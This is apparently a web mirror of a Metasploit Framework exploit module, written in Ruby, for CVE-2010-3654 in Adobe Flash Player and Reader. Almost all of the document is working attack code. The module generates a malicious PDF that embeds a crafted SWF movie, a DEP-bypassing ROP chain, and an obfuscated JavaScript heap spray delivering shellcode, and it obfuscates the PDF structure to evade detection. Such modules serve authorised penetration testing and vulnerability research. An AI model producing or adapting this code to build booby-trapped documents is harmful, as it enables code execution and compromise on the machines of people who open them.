CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = NormalRanking
10
11
include Msf::Exploit::FILEFORMAT
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Adobe Flash Player "Button" Remote Code Execution',
16
'Description' => %q{
17
This module exploits a vulnerability in the handling of certain SWF movies
18
within versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat
19
are also vulnerable, as are any other applications that may embed Flash player.
20
21
Arbitrary code execution is achieved by embedding a specially crafted Flash
22
movie into a PDF document. An AcroJS heap spray is used in order to ensure
23
that the memory used by the invalid pointer issue is controlled.
24
25
NOTE: This module uses a similar DEP bypass method to that used within the
26
adobe_libtiff module. This method is unlikely to work across various
27
Windows versions due to a hardcoded syscall number.
28
},
29
'License' => MSF_LICENSE,
30
'Author' =>
31
[
32
'Unknown', # Found being openly exploited
33
'Haifei Li', # PoC
34
'jduck' # Metasploit version
35
],
36
'References' =>
37
[
38
['CVE', '2010-3654'],
39
['OSVDB', '68932'],
40
['BID', '44504'],
41
['URL', 'http://www.adobe.com/support/security/advisories/apsa10-05.html'],
42
['URL', 'http://blog.fortinet.com/fuzz-my-life-flash-player-zero-day-vulnerability-cve-2010-3654/'], #PoC
43
# For SWF->PDF embedding
44
['URL', 'http://feliam.wordpress.com/2010/02/11/flash-on-a-pdf-with-minipdf-py/']
45
],
46
'DefaultOptions' =>
47
{
48
'EXITFUNC' => 'process',
49
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
50
'DisablePayloadHandler' => true
51
},
52
'Payload' =>
53
{
54
'Space' => 1000,
55
'BadChars' => "\x00",
56
'DisableNops' => true
57
},
58
'Platform' => 'win',
59
'Targets' =>
60
[
61
# Tested OK via Adobe Reader 9.4.0 on Windows XP SP3 (uses flash 10.1.85.3) -jjd
62
[ 'Automatic', { }],
63
],
64
'DisclosureDate' => '2010-10-28',
65
'DefaultTarget' => 0))
66
67
register_options(
68
[
69
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
70
])
71
end
72
73
def exploit
74
swf_data = make_swf()
75
js_data = make_js(payload.encoded)
76
77
# Create the pdf
78
pdf = make_pdf(swf_data, js_data)
79
80
print_status("Creating '#{datastore['FILENAME']}' file...")
81
82
file_create(pdf)
83
end
84
85
def make_swf
86
# load the static swf file
87
path = File.join( Msf::Config.data_directory, "exploits", "CVE-2010-3654.swf" )
88
fd = File.open( path, "rb" )
89
swf_data = fd.read(fd.stat.size)
90
fd.close
91
swf_data
92
end
93
94
def make_js(encoded_payload)
95
96
# The following executes a ret2lib using BIB.dll
97
# The effect is to bypass DEP and execute the shellcode in an indirect way
98
stack_data = [
99
0xc0c0c0c,
100
0x7002fe1, # mov edx,[esi+0x18] / test edx,edx / je +0x12 / mov eax,[esi+0xc] / mov ecx,[esi+4] / push eax / push ecx / push esi / call edx
101
0xcccccccc,
102
0xcccccccc,
103
0xc0c0c0c + 0x10,
104
0x7004919, # pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret
105
0xcccccccc,
106
0x70048ef, # xchg eax,esp / ret
107
0x700156f, # mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8]
108
0xcccccccc,
109
0x7009084, # ret
110
0x7009084, # ret
111
0x7009084, # ret
112
0x7009084, # ret
113
0x7009084, # ret
114
0x7009084, # ret
115
0x7009033, # ret 0x18
116
0x7009084, # ret
117
0xc0c0c0c,
118
0x7009084, # ret
119
0x7009084, # ret
120
0x7009084, # ret
121
0x7009084, # ret
122
0x7009084, # ret
123
0x7009084, # ret
124
0x7009084, # ret
125
0x7009084, # ret
126
0x7001599, # pop ebp / ret
127
0x10124,
128
0x70072f7, # pop eax / ret
129
0x10104,
130
0x70015bb, # pop ecx / ret
131
0x1000,
132
0x700154d, # mov [eax], ecx / ret
133
0x70015bb, # pop ecx / ret
134
0x7ffe0300, # -- location of KiFastSystemCall
135
0x7007fb2, # mov eax, [ecx] / ret
136
0x70015bb, # pop ecx / ret
137
0x10011,
138
0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
139
0x70015bb, # pop ecx / ret
140
0x10100,
141
0x700a8ac, # mov [ecx], eax / xor eax,eax / ret
142
0x70072f7, # pop eax / ret
143
0x10011,
144
0x70052e2, # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)
145
0x7005c54, # pop esi / add esp,0x14 / ret
146
0xffffffff,
147
0x10100,
148
0x0,
149
0x10104,
150
0x1000,
151
0x40,
152
# The next bit effectively copies data from the interleaved stack to the memory
153
# pointed to by eax
154
# The data copied is:
155
# \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83
156
# \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff
157
# \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x90
158
0x700d731, # mov eax, [ebp-0x24] / ret
159
0x70015bb, # pop ecx / ret
160
0x9054905a,
161
0x700154d, # mov [eax], ecx / ret
162
0x700a722, # add eax, 4 / ret
163
0x70015bb, # pop ecx / ret
164
0x5815eb5a,
165
0x700154d, # mov [eax], ecx / ret
166
0x700a722, # add eax, 4 / ret
167
0x70015bb, # pop ecx / ret
168
0x18891a8b,
169
0x700154d, # mov [eax], ecx / ret
170
0x700a722, # add eax, 4 / ret
171
0x70015bb, # pop ecx / ret
172
0x8304c083,
173
0x700154d, # mov [eax], ecx / ret
174
0x700a722, # add eax, 4 / ret
175
0x70015bb, # pop ecx / ret
176
0xfb8104c2,
177
0x700154d, # mov [eax], ecx / ret
178
0x700a722, # add eax, 4 / ret
179
0x70015bb, # pop ecx / ret
180
0xc0c0c0c,
181
0x700154d, # mov [eax], ecx / ret
182
0x700a722, # add eax, 4 / ret
183
0x70015bb, # pop ecx / ret
184
0x5ebee75,
185
0x700154d, # mov [eax], ecx / ret
186
0x700a722, # add eax, 4 / ret
187
0x70015bb, # pop ecx / ret
188
0xffffe6e8,
189
0x700154d, # mov [eax], ecx / ret
190
0x700a722, # add eax, 4 / ret
191
0x70015bb, # pop ecx / ret
192
0x909090ff,
193
0x700154d, # mov [eax], ecx / ret
194
0x700a722, # add eax, 4 / ret
195
0x70015bb, # pop ecx / ret
196
0x90909090,
197
0x700154d, # mov [eax], ecx / ret
198
0x700a722, # add eax, 4 / ret
199
0x70015bb, # pop ecx / ret
200
0x90909090,
201
0x700154d, # mov [eax], ecx / ret
202
0x700a722, # add eax, 4 / ret
203
0x70015bb, # pop ecx / ret
204
0x90ffffff,
205
0x700154d, # mov [eax], ecx / ret
206
0x700d731, # mov eax, [ebp-0x24] / ret
207
0x700112f # call eax -- (execute stub to transition to full shellcode)
208
].pack('V*')
209
210
var_unescape = rand_text_alpha(rand(100) + 1)
211
var_shellcode = rand_text_alpha(rand(100) + 1)
212
213
var_start = rand_text_alpha(rand(100) + 1)
214
215
var_s = 0x10000
216
var_c = rand_text_alpha(rand(100) + 1)
217
var_b = rand_text_alpha(rand(100) + 1)
218
var_d = rand_text_alpha(rand(100) + 1)
219
var_3 = rand_text_alpha(rand(100) + 1)
220
var_i = rand_text_alpha(rand(100) + 1)
221
var_4 = rand_text_alpha(rand(100) + 1)
222
223
payload_buf = ''
224
payload_buf << stack_data
225
payload_buf << encoded_payload
226
227
escaped_payload = Rex::Text.to_unescape(payload_buf)
228
229
js = %Q|
230
var #{var_unescape} = unescape;
231
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
232
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
233
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
234
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
235
#{var_b} += #{var_shellcode};
236
#{var_b} += #{var_c};
237
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
238
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
239
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
240
var #{var_4} = new Array();
241
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
242
|
243
244
js
245
end
246
247
def random_non_ascii_string(count)
248
result = ""
249
count.times do
250
result << (rand(128) + 128).chr
251
end
252
result
253
end
254
255
def io_def(id)
256
"%d 0 obj\n" % id
257
end
258
259
def io_ref(id)
260
"%d 0 R" % id
261
end
262
263
264
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
265
def n_obfu(str)
266
result = ""
267
str.scan(/./u) do |c|
268
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
269
result << "#%x" % c.unpack("C*")[0]
270
else
271
result << c
272
end
273
end
274
result
275
end
276
277
278
def ascii_hex_whitespace_encode(str)
279
result = ""
280
whitespace = ""
281
str.each_byte do |b|
282
result << whitespace << "%02x" % b
283
whitespace = " " * (rand(3) + 1)
284
end
285
result << ">"
286
end
287
288
289
def make_pdf(swf, js)
290
291
swf_name = rand_text_alpha(8 + rand(8)) + ".swf"
292
293
xref = []
294
eol = "\n"
295
endobj = "endobj" << eol
296
297
# Randomize PDF version?
298
pdf = "%PDF-1.5" << eol
299
#pdf << "%" << random_non_ascii_string(4) << eol
300
301
# catalog
302
xref << pdf.length
303
pdf << io_def(1) << n_obfu("<</Type/Catalog")
304
pdf << n_obfu("/Pages ") << io_ref(3)
305
pdf << n_obfu("/OpenAction ") << io_ref(5)
306
pdf << n_obfu(">>")
307
pdf << eol << endobj
308
309
# pages array
310
xref << pdf.length
311
pdf << io_def(3) << n_obfu("<</Type/Pages/Count 1/Kids [") << io_ref(4) << n_obfu("]>>") << eol << endobj
312
313
# page 1
314
xref << pdf.length
315
pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3)
316
pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("] ")
317
pdf << n_obfu(">>")
318
pdf << eol << endobj
319
320
# js action
321
xref << pdf.length
322
pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << eol << endobj
323
324
# js stream
325
xref << pdf.length
326
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
327
pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
328
pdf << "stream" << eol
329
pdf << compressed << eol
330
pdf << "endstream" << eol
331
pdf << endobj
332
333
# swf annotation object
334
xref << pdf.length
335
pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype/RichMedia")
336
pdf << n_obfu("/Rect [20 20 187 69] ")
337
pdf << n_obfu("/RichMediaSettings ") << io_ref(8)
338
pdf << n_obfu("/RichMediaContent ") << io_ref(9)
339
pdf << n_obfu("/NM (") << swf_name << n_obfu(")")
340
pdf << n_obfu(">>")
341
pdf << eol << endobj
342
343
# rich media settings
344
xref << pdf.length
345
pdf << io_def(8)
346
pdf << n_obfu("<</Type/RichMediaSettings/Subtype/Flash")
347
pdf << n_obfu("/Activation ") << io_ref(10)
348
pdf << n_obfu("/Deactivation ") << io_ref(11)
349
pdf << n_obfu(">>")
350
pdf << eol << endobj
351
352
# rich media content
353
xref << pdf.length
354
pdf << io_def(9)
355
pdf << n_obfu("<</Type/RichMediaContent")
356
pdf << n_obfu("/Assets ") << io_ref(12)
357
pdf << n_obfu("/Configurations [") << io_ref(14) << "]"
358
pdf << n_obfu(">>")
359
pdf << eol << endobj
360
361
# rich media activation / deactivation
362
xref << pdf.length
363
pdf << io_def(10)
364
pdf << n_obfu("<</Type/RichMediaActivation/Condition/PO>>")
365
pdf << eol << endobj
366
367
xref << pdf.length
368
pdf << io_def(11)
369
pdf << n_obfu("<</Type/RichMediaDeactivation/Condition/XD>>")
370
pdf << eol << endobj
371
372
# rich media assets
373
xref << pdf.length
374
pdf << io_def(12)
375
pdf << n_obfu("<</Names [(#{swf_name}) ") << io_ref(13) << n_obfu("]>>")
376
pdf << eol << endobj
377
378
# swf embeded file ref
379
xref << pdf.length
380
pdf << io_def(13)
381
pdf << n_obfu("<</Type/Filespec /EF <</F ") << io_ref(16) << n_obfu(">> /F(#{swf_name})>>")
382
pdf << eol << endobj
383
384
# rich media configuration
385
xref << pdf.length
386
pdf << io_def(14)
387
pdf << n_obfu("<</Type/RichMediaConfiguration/Subtype/Flash")
388
pdf << n_obfu("/Instances [") << io_ref(15) << n_obfu("]>>")
389
pdf << eol << endobj
390
391
# rich media isntance
392
xref << pdf.length
393
pdf << io_def(15)
394
pdf << n_obfu("<</Type/RichMediaInstance/Subtype/Flash")
395
pdf << n_obfu("/Asset ") << io_ref(13)
396
pdf << n_obfu(">>")
397
pdf << eol << endobj
398
399
# swf stream
400
# NOTE: This data is already compressed, no need to compress it again...
401
xref << pdf.length
402
pdf << io_def(16) << n_obfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol
403
pdf << "stream" << eol
404
pdf << swf << eol
405
pdf << "endstream" << eol
406
pdf << endobj
407
408
# trailing stuff
409
xrefPosition = pdf.length
410
pdf << "xref" << eol
411
pdf << "0 %d" % (xref.length + 1) << eol
412
pdf << "0000000000 65535 f" << eol
413
xref.each do |index|
414
pdf << "%010d 00000 n" % index << eol
415
end
416
417
pdf << "trailer" << eol
418
pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
419
420
pdf << "startxref" << eol
421
pdf << xrefPosition.to_s() << eol
422
423
pdf << "%%EOF" << eol
424
pdf
425
end
426
end
427
428